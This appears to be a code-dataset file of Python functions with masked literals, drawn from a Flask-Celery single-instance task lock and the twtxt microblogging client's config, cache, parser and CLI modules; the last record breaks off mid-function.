{"signature": "def _select_manager(backend_name):", "body": "if backend_name == '<STR_LIT>':<EOL><INDENT>lock_manager = _LockManagerRedis<EOL><DEDENT>elif backend_name == '<STR_LIT>':<EOL><INDENT>lock_manager = _LockManagerDB<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT>return lock_manager<EOL>", "docstring": "Select the proper LockManager based on the current backend used by Celery.\n\n    :raise NotImplementedError: If Celery is using an unsupported backend.\n\n    :param str backend_name: Class name of the current Celery backend. Usually value of\n        current_app.extensions['celery'].celery.backend.__class__.__name__.\n\n    :return: Class definition object (not instance). One of the _LockManager* classes.", "id": "f14581:m0"}
{"signature": "def single_instance(func=None, lock_timeout=None, include_args=False):", "body": "if func is None:<EOL><INDENT>return partial(single_instance, lock_timeout=lock_timeout, include_args=include_args)<EOL><DEDENT>@wraps(func)<EOL>def wrapped(celery_self, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>timeout = (<EOL>lock_timeout or celery_self.soft_time_limit or celery_self.time_limit<EOL>or celery_self.app.conf.get('<STR_LIT>')<EOL>or celery_self.app.conf.get('<STR_LIT>')<EOL>or (<NUM_LIT> * <NUM_LIT:5>)<EOL>)<EOL>manager_class = _select_manager(celery_self.backend.__class__.__name__)<EOL>lock_manager = manager_class(celery_self, timeout, include_args, args, kwargs)<EOL>with lock_manager:<EOL><INDENT>ret_value = func(*args, **kwargs)<EOL><DEDENT>return ret_value<EOL><DEDENT>return wrapped<EOL>", "docstring": "Celery task decorator. Forces the task to have only one running instance at a time.\n\n    Use with binded tasks (@celery.task(bind=True)).\n\n    Modeled after:\n    http://loose-bits.com/2010/10/distributed-task-locking-in-celery.html\n    http://blogs.it.ox.ac.uk/inapickle/2012/01/05/python-decorators-with-optional-arguments/\n\n    Written by @Robpol86.\n\n    :raise OtherInstanceError: If another instance is already running.\n\n    :param function func: The function to decorate, must be also decorated by @celery.task.\n    :param int lock_timeout: Lock timeout in seconds plus five more seconds, in-case the task crashes and fails to\n        release the lock. If not specified, the values of the task's soft/hard limits are used. If all else fails,\n        timeout will be 5 minutes.\n    :param bool include_args: Include the md5 checksum of the arguments passed to the task in the Redis key. This allows\n        the same task to run with different arguments, only stopping a task from running if another instance of it is\n        running with the same arguments.", "id": "f14581:m1"}
{"signature": "def __init__(self, celery_self, timeout, include_args, args, kwargs):", "body": "self.celery_self = celery_self<EOL>self.timeout = timeout<EOL>self.include_args = include_args<EOL>self.args = args<EOL>self.kwargs = kwargs<EOL>self.log = getLogger('<STR_LIT>'.format(self.__class__.__name__, self.task_identifier))<EOL>", "docstring": "May raise NotImplementedError if the Celery backend is not supported.\n\n        :param celery_self: From wrapped() within single_instance(). It is the `self` object specified in a binded\n            Celery task definition (implicit first argument of the Celery task when @celery.task(bind=True) is used).\n        :param int timeout: Lock's timeout value in seconds.\n        :param bool include_args: If single instance should take arguments into account.\n        :param iter args: The task instance's args.\n        :param dict kwargs: The task instance's kwargs.", "id": "f14581:c1:m0"}
{"signature": "@property<EOL><INDENT>def task_identifier(self):<DEDENT>", "body": "task_id = self.celery_self.name<EOL>if self.include_args:<EOL><INDENT>merged_args = str(self.args) + str([(k, self.kwargs[k]) for k in sorted(self.kwargs)])<EOL>task_id += '<STR_LIT>'.format(hashlib.md5(merged_args.encode('<STR_LIT:utf-8>')).hexdigest())<EOL><DEDENT>return task_id<EOL>", "docstring": "Return the unique identifier (string) of a task instance.", "id": "f14581:c1:m1"}
{"signature": "@property<EOL><INDENT>def is_already_running(self):<DEDENT>", "body": "redis_key = self.CELERY_LOCK.format(task_id=self.task_identifier)<EOL>return self.celery_self.backend.client.exists(redis_key)<EOL>", "docstring": "Return True if lock exists and has not timed out.", "id": "f14581:c2:m3"}
{"signature": "def reset_lock(self):", "body": "redis_key = self.CELERY_LOCK.format(task_id=self.task_identifier)<EOL>self.celery_self.backend.client.delete(redis_key)<EOL>", "docstring": "Removed the lock regardless of timeout.", "id": "f14581:c2:m4"}
{"signature": "@property<EOL><INDENT>def is_already_running(self):<DEDENT>", "body": "date_done = (self.restore_group(self.task_identifier) or dict()).get('<STR_LIT>')<EOL>if not date_done:<EOL><INDENT>return False<EOL><DEDENT>difference = datetime.utcnow() - date_done<EOL>return difference < timedelta(seconds=self.timeout)<EOL>", "docstring": "Return True if lock exists and has not timed out.", "id": "f14581:c3:m3"}
{"signature": "def reset_lock(self):", "body": "self.delete_group(self.task_identifier)<EOL>", "docstring": "Removed the lock regardless of timeout.", "id": "f14581:c3:m4"}
{"signature": "def __init__(self, app=None):", "body": "self.original_register_app = _state._register_app  <EOL>_state._register_app = lambda _: None  <EOL>super(Celery, self).__init__()<EOL>if app is not None:<EOL><INDENT>self.init_app(app)<EOL><DEDENT>", "docstring": "If app argument provided then initialize celery using application config values.\n\n        If no app argument provided you should do initialization later with init_app method.\n\n        :param app: Flask application instance.", "id": "f14581:c5:m0"}
{"signature": "def init_app(self, app):", "body": "_state._register_app = self.original_register_app  <EOL>if not hasattr(app, '<STR_LIT>'):<EOL><INDENT>app.extensions = dict()<EOL><DEDENT>if '<STR_LIT>' in app.extensions:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>app.extensions['<STR_LIT>'] = _CeleryState(self, app)<EOL>super(Celery, self).__init__(app.import_name, broker=app.config['<STR_LIT>'])<EOL>if '<STR_LIT>' in app.config:<EOL><INDENT>self._preconf['<STR_LIT>'] = app.config['<STR_LIT>']<EOL><DEDENT>self.conf.update(app.config)<EOL>task_base = self.Task<EOL>class ContextTask(task_base):<EOL><INDENT>def __call__(self, *_args, **_kwargs):<EOL><INDENT>with app.app_context():<EOL><INDENT>return task_base.__call__(self, *_args, **_kwargs)<EOL><DEDENT><DEDENT><DEDENT>setattr(ContextTask, '<STR_LIT>', True)<EOL>setattr(self, '<STR_LIT>', ContextTask)<EOL>", "docstring": "Actual method to read celery settings from app configuration and initialize the celery instance.\n\n        :param app: Flask application instance.", "id": "f14581:c5:m1"}
{"signature": "def register_blueprint(self, _):", "body": "pass<EOL>", "docstring": "Mock register_blueprint method.", "id": "f14582:c0:m0"}
{"signature": "@worker_ready.connect<EOL>def on_worker_ready(**_):", "body": "WORKER_READY.append(True)<EOL>", "docstring": "Called when the Celery worker thread is ready to do work.\n\n    This is to avoid race conditions since everything is in one python process.", "id": "f14584:m0"}
{"signature": "def run(self):", "body": "celery_args = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:-c>', '<STR_LIT:1>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>with app.app_context():<EOL><INDENT>celery.worker_main(celery_args)<EOL><DEDENT>", "docstring": "Run the thread.", "id": "f14584:c0:m0"}
{"signature": "def generate_config():", "body": "config = dict()<EOL>if os.environ.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>config['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>elif os.environ.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>config['<STR_LIT>'] = '<STR_LIT>'<EOL>config['<STR_LIT>'] = config['<STR_LIT>']<EOL><DEDENT>elif os.environ.get('<STR_LIT>', '<STR_LIT>').startswith('<STR_LIT>'):<EOL><INDENT>config['<STR_LIT>'] = '<STR_LIT>' + os.environ['<STR_LIT>'].split('<STR_LIT:U+002C>', <NUM_LIT:1>)[<NUM_LIT:1>]<EOL>config['<STR_LIT>'] = config['<STR_LIT>']<EOL><DEDENT>elif os.environ.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>config['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>elif os.environ.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>config['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>elif os.environ.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>config['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>elif os.environ.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>config['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>if os.environ.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>config['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>elif os.environ.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>config['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>file_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), '<STR_LIT>')<EOL>config['<STR_LIT>'] = '<STR_LIT>' + file_path<EOL><DEDENT>config['<STR_LIT>'] = '<STR_LIT>' + config['<STR_LIT>']<EOL>config['<STR_LIT>'] = '<STR_LIT>' + config['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in config and '<STR_LIT>' not in config:<EOL><INDENT>config['<STR_LIT>'] = config['<STR_LIT>']<EOL><DEDENT>return config<EOL>", "docstring": "Generate a Flask config dict with settings for a specific broker based on an environment variable.\n\n    To be merged into app.config.\n\n    :return: Flask config to be fed into app.config.update().\n    :rtype: dict", "id": "f14587:m0"}
{"signature": "def generate_context(config):", "body": "flask_app = Flask(__name__)<EOL>flask_app.config.update(config)<EOL>flask_app.config['<STR_LIT>'] = True<EOL>flask_app.config['<STR_LIT>'] = ['<STR_LIT>']<EOL>if '<STR_LIT>' in flask_app.config:<EOL><INDENT>db = SQLAlchemy(flask_app)<EOL>db.engine.execute('<STR_LIT>')<EOL><DEDENT>elif '<STR_LIT>' in flask_app.config:<EOL><INDENT>redis = Redis(flask_app)<EOL>redis.flushdb()<EOL><DEDENT>Celery(flask_app)<EOL>return flask_app<EOL>", "docstring": "Create the Flask app context and initializes any extensions such as Celery, Redis, SQLAlchemy, etc.\n\n    :param dict config: Partial Flask config dict from generate_config().\n\n    :return: The Flask app instance.", "id": "f14587:m1"}
{"signature": "def get_flask_celery_apps():", "body": "config = generate_config()<EOL>flask_app = generate_context(config=config)<EOL>celery_app = flask_app.extensions['<STR_LIT>'].celery<EOL>return flask_app, celery_app<EOL>", "docstring": "Call generate_context() and generate_config().\n\n    :return: First item is the Flask app instance, second is the Celery app instance.\n    :rtype: tuple", "id": "f14587:m2"}
{"signature": "@celery.task(bind=True)<EOL>@single_instance<EOL>def add(x, y):", "body": "return x + y<EOL>", "docstring": "Celery task: add numbers.", "id": "f14587:m3"}
{"signature": "@celery.task(bind=True)<EOL>@single_instance(include_args=True, lock_timeout=<NUM_LIT:20>)<EOL>def mul(x, y):", "body": "return x * y<EOL>", "docstring": "Celery task: multiply numbers.", "id": "f14587:m4"}
{"signature": "@celery.task(bind=True)<EOL>@single_instance()<EOL>def sub(x, y):", "body": "return x - y<EOL>", "docstring": "Celery task: subtract numbers.", "id": "f14587:m5"}
{"signature": "@celery.task(bind=True, time_limit=<NUM_LIT>)<EOL>@single_instance<EOL>def add2(x, y):", "body": "return x + y<EOL>", "docstring": "Celery task: add numbers.", "id": "f14587:m6"}
{"signature": "@celery.task(bind=True, soft_time_limit=<NUM_LIT>)<EOL>@single_instance<EOL>def add3(x, y):", "body": "return x + y<EOL>", "docstring": "Celery task: add numbers.", "id": "f14587:m7"}
{"signature": "def readme(path='<STR_LIT>'):", "body": "path = os.path.realpath(os.path.join(os.path.dirname(__file__), path))<EOL>handle = None<EOL>url_prefix = '<STR_LIT>'.format(name=NAME, version=VERSION)<EOL>try:<EOL><INDENT>handle = codecs.open(path, encoding='<STR_LIT:utf-8>')<EOL>return handle.read(<NUM_LIT>).replace('<STR_LIT>', '<STR_LIT>'.format(url_prefix))<EOL><DEDENT>except IOError:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>finally:<EOL><INDENT>getattr(handle, '<STR_LIT>', lambda: None)()<EOL><DEDENT>", "docstring": "Try to read README.rst or return empty string if failed.\n\n    :param str path: Path to README file.\n\n    :return: File contents.\n    :rtype: str", "id": "f14588:m0"}
{"signature": "@classmethod<EOL><INDENT>def initialize_options(cls):<DEDENT>", "body": "pass<EOL>", "docstring": "Required by distutils.", "id": "f14588:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def finalize_options(cls):<DEDENT>", "body": "pass<EOL>", "docstring": "Required by distutils.", "id": "f14588:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def run(cls):<DEDENT>", "body": "project = __import__(IMPORT, fromlist=['<STR_LIT>'])<EOL>for expected, var in [('<STR_LIT>', '<STR_LIT>'), (LICENSE, '<STR_LIT>'), (VERSION, '<STR_LIT>')]:<EOL><INDENT>if getattr(project, var) != expected:<EOL><INDENT>raise SystemExit('<STR_LIT>'.format(var))<EOL><DEDENT><DEDENT>if not re.compile(r'<STR_LIT>' % VERSION, re.MULTILINE).search(readme()):<EOL><INDENT>raise SystemExit('<STR_LIT>')<EOL><DEDENT>if INSTALL_REQUIRES:<EOL><INDENT>contents = readme('<STR_LIT>')<EOL>section = re.compile(r'<STR_LIT>', re.DOTALL).findall(contents)<EOL>if not section:<EOL><INDENT>raise SystemExit('<STR_LIT>')<EOL><DEDENT>in_tox = re.findall(r'<STR_LIT>', section[<NUM_LIT:0>])<EOL>if INSTALL_REQUIRES != in_tox:<EOL><INDENT>raise SystemExit('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Check variables.", "id": "f14588:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_file(cls, file):<DEDENT>", "body": "if not os.path.exists(file):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>config_parser = configparser.ConfigParser()<EOL>config_parser.read(file)<EOL>configuration = cls(file, config_parser)<EOL>if not configuration.check_config_sanity():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return configuration<EOL><DEDENT><DEDENT>except configparser.Error:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Try loading given config file.\n\n        :param str file: full path to the config file to load", "id": "f14593:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def discover(cls):<DEDENT>", "body": "file = os.path.join(Config.config_dir, Config.config_name)<EOL>return cls.from_file(file)<EOL>", "docstring": "Make a guess about the config file location an try loading it.", "id": "f14593:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def create_config(cls, cfgfile, nick, twtfile, twturl, disclose_identity, add_news):<DEDENT>", "body": "cfgfile_dir = os.path.dirname(cfgfile)<EOL>if not os.path.exists(cfgfile_dir):<EOL><INDENT>os.makedirs(cfgfile_dir)<EOL><DEDENT>cfg = configparser.ConfigParser()<EOL>cfg.add_section(\"<STR_LIT>\")<EOL>cfg.set(\"<STR_LIT>\", \"<STR_LIT>\", nick)<EOL>cfg.set(\"<STR_LIT>\", \"<STR_LIT>\", twtfile)<EOL>cfg.set(\"<STR_LIT>\", \"<STR_LIT>\", twturl)<EOL>cfg.set(\"<STR_LIT>\", \"<STR_LIT>\", str(disclose_identity))<EOL>cfg.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>cfg.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>cfg.add_section(\"<STR_LIT>\")<EOL>if add_news:<EOL><INDENT>cfg.set(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>conf = cls(cfgfile, cfg)<EOL>conf.write_config()<EOL>return conf<EOL>", "docstring": "Create a new config file at the default location.\n\n        :param str cfgfile: path to the config file\n        :param str nick: nickname to use for own tweets\n        :param str twtfile: path to the local twtxt file\n        :param str twturl: URL to the remote twtxt file\n        :param bool disclose_identity: if true the users id will be disclosed\n        :param bool add_news: if true follow twtxt news feed", "id": "f14593:c0:m3"}
{"signature": "def write_config(self):", "body": "with open(self.config_file, \"<STR_LIT:w>\") as config_file:<EOL><INDENT>self.cfg.write(config_file)<EOL><DEDENT>", "docstring": "Writes `self.cfg` to `self.config_file`.", "id": "f14593:c0:m4"}
{"signature": "@property<EOL><INDENT>def following(self):<DEDENT>", "body": "following = []<EOL>try:<EOL><INDENT>for (nick, url) in self.cfg.items(\"<STR_LIT>\"):<EOL><INDENT>source = Source(nick, url)<EOL>following.append(source)<EOL><DEDENT><DEDENT>except configparser.NoSectionError as e:<EOL><INDENT>logger.debug(e)<EOL><DEDENT>return following<EOL>", "docstring": "A :class:`list` of all :class:`Source` objects.", "id": "f14593:c0:m5"}
{"signature": "@property<EOL><INDENT>def options(self):<DEDENT>", "body": "try:<EOL><INDENT>return dict(self.cfg.items(\"<STR_LIT>\"))<EOL><DEDENT>except configparser.NoSectionError as e:<EOL><INDENT>logger.debug(e)<EOL>return {}<EOL><DEDENT>", "docstring": "A :class:`dict` of all config options.", "id": "f14593:c0:m6"}
{"signature": "def add_source(self, source):", "body": "if not self.cfg.has_section(\"<STR_LIT>\"):<EOL><INDENT>self.cfg.add_section(\"<STR_LIT>\")<EOL><DEDENT>self.cfg.set(\"<STR_LIT>\", source.nick, source.url)<EOL>self.write_config()<EOL>", "docstring": "Adds a new :class:`Source` to the config\u2019s following section.", "id": "f14593:c0:m25"}
{"signature": "def get_source_by_nick(self, nick):", "body": "url = self.cfg.get(\"<STR_LIT>\", nick, fallback=None)<EOL>return Source(nick, url) if url else None<EOL>", "docstring": "Returns the :class:`Source` of the given nick.\n\n        :param str nick: nickname for which will be searched in the config", "id": "f14593:c0:m26"}
{"signature": "def remove_source_by_nick(self, nick):", "body": "if not self.cfg.has_section(\"<STR_LIT>\"):<EOL><INDENT>return False<EOL><DEDENT>ret_val = self.cfg.remove_option(\"<STR_LIT>\", nick)<EOL>self.write_config()<EOL>return ret_val<EOL>", "docstring": "Removes a :class:`Source` form the config\u2019s following section.\n\n        :param str nick: nickname for which will be searched in the config", "id": "f14593:c0:m27"}
{"signature": "def build_default_map(self):", "body": "default_map = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": self.check_following,<EOL>\"<STR_LIT>\": self.timeout,<EOL>\"<STR_LIT>\": self.porcelain,<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": self.twtfile,<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": self.use_pager,<EOL>\"<STR_LIT>\": self.use_cache,<EOL>\"<STR_LIT>\": self.limit_timeline,<EOL>\"<STR_LIT>\": self.timeout,<EOL>\"<STR_LIT>\": self.sorting,<EOL>\"<STR_LIT>\": self.porcelain,<EOL>\"<STR_LIT>\": self.twtfile,<EOL>\"<STR_LIT>\": self.timeline_update_interval,<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": self.use_pager,<EOL>\"<STR_LIT>\": self.use_cache,<EOL>\"<STR_LIT>\": self.limit_timeline,<EOL>\"<STR_LIT>\": self.timeout,<EOL>\"<STR_LIT>\": self.sorting,<EOL>\"<STR_LIT>\": self.porcelain,<EOL>\"<STR_LIT>\": self.timeline_update_interval,<EOL>}<EOL>}<EOL>return default_map<EOL>", "docstring": "Maps config options to the default values used by click, returns :class:`dict`.", "id": "f14593:c0:m28"}
{"signature": "def check_config_sanity(self):", "body": "is_sane = True<EOL>properties = [property_name for property_name, obj<EOL>in self.__class__.__dict__.items()<EOL>if isinstance(obj, property)]<EOL>for property_name in properties:<EOL><INDENT>try:<EOL><INDENT>getattr(self, property_name)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>click.echo(\"<STR_LIT>\".format(property_name, e))<EOL>is_sane = False<EOL><DEDENT><DEDENT>return is_sane<EOL>", "docstring": "Checks if the given values in the config file are sane.", "id": "f14593:c0:m29"}
{"signature": "def __init__(self, cache_file, cache, update_interval):", "body": "self.cache_file = cache_file<EOL>self.cache = cache<EOL>self.update_interval = update_interval<EOL>", "docstring": "Initializes new :class:`Cache` object.\n\n        :param str cache_file: full path to the loaded cache file.\n        :param ~shelve.Shelve cache: a Shelve object, with cache loaded.\n        :param int update_interval: number of seconds the cache is considered to be\n                                    up-to-date without calling any external resources.", "id": "f14594:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_file(cls, file, *args, **kwargs):<DEDENT>", "body": "try:<EOL><INDENT>cache = shelve.open(file)<EOL>return cls(file, cache, *args, **kwargs)<EOL><DEDENT>except OSError as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(file))<EOL>raise e<EOL><DEDENT>", "docstring": "Try loading given cache file.", "id": "f14594:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def discover(cls, *args, **kwargs):<DEDENT>", "body": "file = os.path.join(Cache.cache_dir, Cache.cache_name)<EOL>return cls.from_file(file, *args, **kwargs)<EOL>", "docstring": "Make a guess about the cache file location an try loading it.", "id": "f14594:c0:m4"}
{"signature": "@property<EOL><INDENT>def last_updated(self):<DEDENT>", "body": "try:<EOL><INDENT>return self.cache[\"<STR_LIT>\"]<EOL><DEDENT>except KeyError:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Returns *NIX timestamp of last update of the cache.", "id": "f14594:c0:m5"}
{"signature": "@property<EOL><INDENT>def is_valid(self):<DEDENT>", "body": "if timestamp() - self.last_updated <= self.update_interval:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks if the cache is considered to be up-to-date.", "id": "f14594:c0:m6"}
{"signature": "def mark_updated(self):", "body": "if not self.is_valid:<EOL><INDENT>self.cache[\"<STR_LIT>\"] = timestamp()<EOL><DEDENT>", "docstring": "Mark cache as updated at current *NIX timestamp", "id": "f14594:c0:m7"}
{"signature": "def is_cached(self, url):", "body": "try:<EOL><INDENT>return True if url in self.cache else False<EOL><DEDENT>except TypeError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks if specified URL is cached.", "id": "f14594:c0:m8"}
{"signature": "def last_modified(self, url):", "body": "try:<EOL><INDENT>return self.cache[url][\"<STR_LIT>\"]<EOL><DEDENT>except KeyError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns saved 'Last-Modified' header, if available.", "id": "f14594:c0:m9"}
{"signature": "def add_tweets(self, url, last_modified, tweets):", "body": "try:<EOL><INDENT>self.cache[url] = {\"<STR_LIT>\": last_modified, \"<STR_LIT>\": tweets}<EOL>self.mark_updated()<EOL>return True<EOL><DEDENT>except TypeError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Adds new tweets to the cache.", "id": "f14594:c0:m10"}
{"signature": "def get_tweets(self, url, limit=None):", "body": "try:<EOL><INDENT>tweets = self.cache[url][\"<STR_LIT>\"]<EOL>self.mark_updated()<EOL>return sorted(tweets, reverse=True)[:limit]<EOL><DEDENT>except KeyError:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "Retrieves tweets from the cache.", "id": "f14594:c0:m11"}
{"signature": "def remove_tweets(self, url):", "body": "try:<EOL><INDENT>del self.cache[url]<EOL>self.mark_updated()<EOL>return True<EOL><DEDENT>except KeyError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Tries to remove cached tweets.", "id": "f14594:c0:m12"}
{"signature": "def close(self):", "body": "try:<EOL><INDENT>self.cache.close()<EOL>return True<EOL><DEDENT>except AttributeError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Closes Shelve object.", "id": "f14594:c0:m13"}
{"signature": "def sync(self):", "body": "try:<EOL><INDENT>self.cache.sync()<EOL>return True<EOL><DEDENT>except AttributeError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Syncs Shelve object.", "id": "f14594:c0:m14"}
{"signature": "def make_aware(dt):", "body": "return dt if dt.tzinfo else dt.replace(tzinfo=timezone.utc)<EOL>", "docstring": "Appends tzinfo and assumes UTC, if datetime object has no tzinfo already.", "id": "f14595:m0"}
{"signature": "def parse_iso8601(string):", "body": "return make_aware(dateutil.parser.parse(string))<EOL>", "docstring": "Parse string using dateutil.parser.", "id": "f14595:m1"}
{"signature": "def parse_tweets(raw_tweets, source, now=None):", "body": "if now is None:<EOL><INDENT>now = datetime.now(timezone.utc)<EOL><DEDENT>tweets = []<EOL>for line in raw_tweets:<EOL><INDENT>try:<EOL><INDENT>tweet = parse_tweet(line, source, now)<EOL><DEDENT>except (ValueError, OverflowError) as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(source.url, e))<EOL><DEDENT>else:<EOL><INDENT>tweets.append(tweet)<EOL><DEDENT><DEDENT>return tweets<EOL>", "docstring": "Parses a list of raw tweet lines from a twtxt file\nand returns a list of :class:`Tweet` objects.\n\n:param list raw_tweets: list of raw tweet lines\n:param Source source: the source of the given tweets\n:param Datetime now: the current datetime\n\n:returns: a list of parsed tweets :class:`Tweet` objects\n:rtype: list", "id": "f14595:m2"}
{"signature": "def parse_tweet(raw_tweet, source, now=None):", "body": "if now is None:<EOL><INDENT>now = datetime.now(timezone.utc)<EOL><DEDENT>raw_created_at, text = raw_tweet.split(\"<STR_LIT:\\t>\", <NUM_LIT:1>)<EOL>created_at = parse_iso8601(raw_created_at)<EOL>if created_at > now:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return Tweet(click.unstyle(text.strip()), created_at, source)<EOL>", "docstring": "Parses a single raw tweet line from a twtxt file\nand returns a :class:`Tweet` object.\n\n:param str raw_tweet: a single raw tweet line\n:param Source source: the source of the given tweet\n:param Datetime now: the current datetime\n\n:returns: the parsed tweet\n:rtype: Tweet", "id": "f14595:m3"}
{"signature": "@click.group()<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT:-c>\",<EOL>type=click.Path(exists=True, file_okay=True, readable=True, writable=True, resolve_path=True),<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.version_option()<EOL>@click.pass_context<EOL>def cli(ctx, config, verbose):", "body": "init_logging(debug=verbose)<EOL>if ctx.invoked_subcommand == \"<STR_LIT>\":<EOL><INDENT>return  <EOL><DEDENT>try:<EOL><INDENT>if config:<EOL><INDENT>conf = Config.from_file(config)<EOL><DEDENT>else:<EOL><INDENT>conf = Config.discover()<EOL><DEDENT><DEDENT>except ValueError as e:<EOL><INDENT>if \"<STR_LIT>\" in str(e):<EOL><INDENT>click.echo(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>click.echo(\"<STR_LIT>\")<EOL><DEDENT>sys.exit()<EOL><DEDENT>ctx.default_map = conf.build_default_map()<EOL>ctx.obj = {'<STR_LIT>': conf}<EOL>", "docstring": "Decentralised, minimalist microblogging service for hackers.", "id": "f14597:m0"}
{"signature": "@cli.command()<EOL>@click.option(\"<STR_LIT>\",<EOL>callback=validate_created_at,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>type=click.Path(file_okay=True, writable=True, resolve_path=True),<EOL>help=\"<STR_LIT>\")<EOL>@click.argument(\"<STR_LIT:text>\", callback=validate_text, nargs=-<NUM_LIT:1>)<EOL>@click.pass_context<EOL>def tweet(ctx, created_at, twtfile, text):", "body": "text = expand_mentions(text)<EOL>tweet = Tweet(text, created_at) if created_at else Tweet(text)<EOL>pre_tweet_hook = ctx.obj[\"<STR_LIT>\"].pre_tweet_hook<EOL>if pre_tweet_hook:<EOL><INDENT>run_pre_tweet_hook(pre_tweet_hook, ctx.obj[\"<STR_LIT>\"].options)<EOL><DEDENT>if not add_local_tweet(tweet, twtfile):<EOL><INDENT>click.echo(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>post_tweet_hook = ctx.obj[\"<STR_LIT>\"].post_tweet_hook<EOL>if post_tweet_hook:<EOL><INDENT>run_post_tweet_hook(post_tweet_hook, ctx.obj[\"<STR_LIT>\"].options)<EOL><DEDENT><DEDENT>", "docstring": "Append a new tweet to your twtxt file.", "id": "f14597:m1"}
{"signature": "@cli.command()<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>type=click.INT,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>type=click.Path(exists=True, file_okay=True, readable=True, resolve_path=True),<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>flag_value=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>flag_value=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>type=click.FLOAT,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\", \"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.option(\"<STR_LIT>\",<EOL>is_flag=True,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>def timeline(ctx, pager, limit, twtfile, sorting, timeout, porcelain, source, cache, force_update):", "body": "if source:<EOL><INDENT>source_obj = ctx.obj[\"<STR_LIT>\"].get_source_by_nick(source)<EOL>if not source_obj:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(source))<EOL>source_obj = Source(source, source)<EOL><DEDENT>sources = [source_obj]<EOL><DEDENT>else:<EOL><INDENT>sources = ctx.obj[\"<STR_LIT>\"].following<EOL><DEDENT>tweets = []<EOL>if cache:<EOL><INDENT>try:<EOL><INDENT>with Cache.discover(update_interval=ctx.obj[\"<STR_LIT>\"].timeline_update_interval) as cache:<EOL><INDENT>force_update = 